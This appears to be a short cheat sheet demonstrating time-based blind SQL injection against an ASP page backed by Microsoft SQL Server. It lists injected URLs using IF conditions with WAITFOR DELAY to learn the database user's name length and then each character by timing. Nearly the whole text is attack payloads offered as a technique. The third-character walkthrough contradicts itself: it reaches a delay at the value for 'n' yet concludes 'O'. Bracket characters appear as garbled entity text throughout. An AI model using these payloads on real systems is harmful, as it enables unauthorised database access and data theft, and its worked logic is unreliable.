SQL_BlindInjection[Example]

> ####################################################***nbsp;
> Blind SQL Injection Syntax for extracting the USER 
> 
> 3 - Total Characters 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> D - 1st Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) 
> WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) 
> WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> B - 2nd Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> 
> O - 3rd Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> Database User = DBO 
> 
> 
> 
***91;/LEFT***93;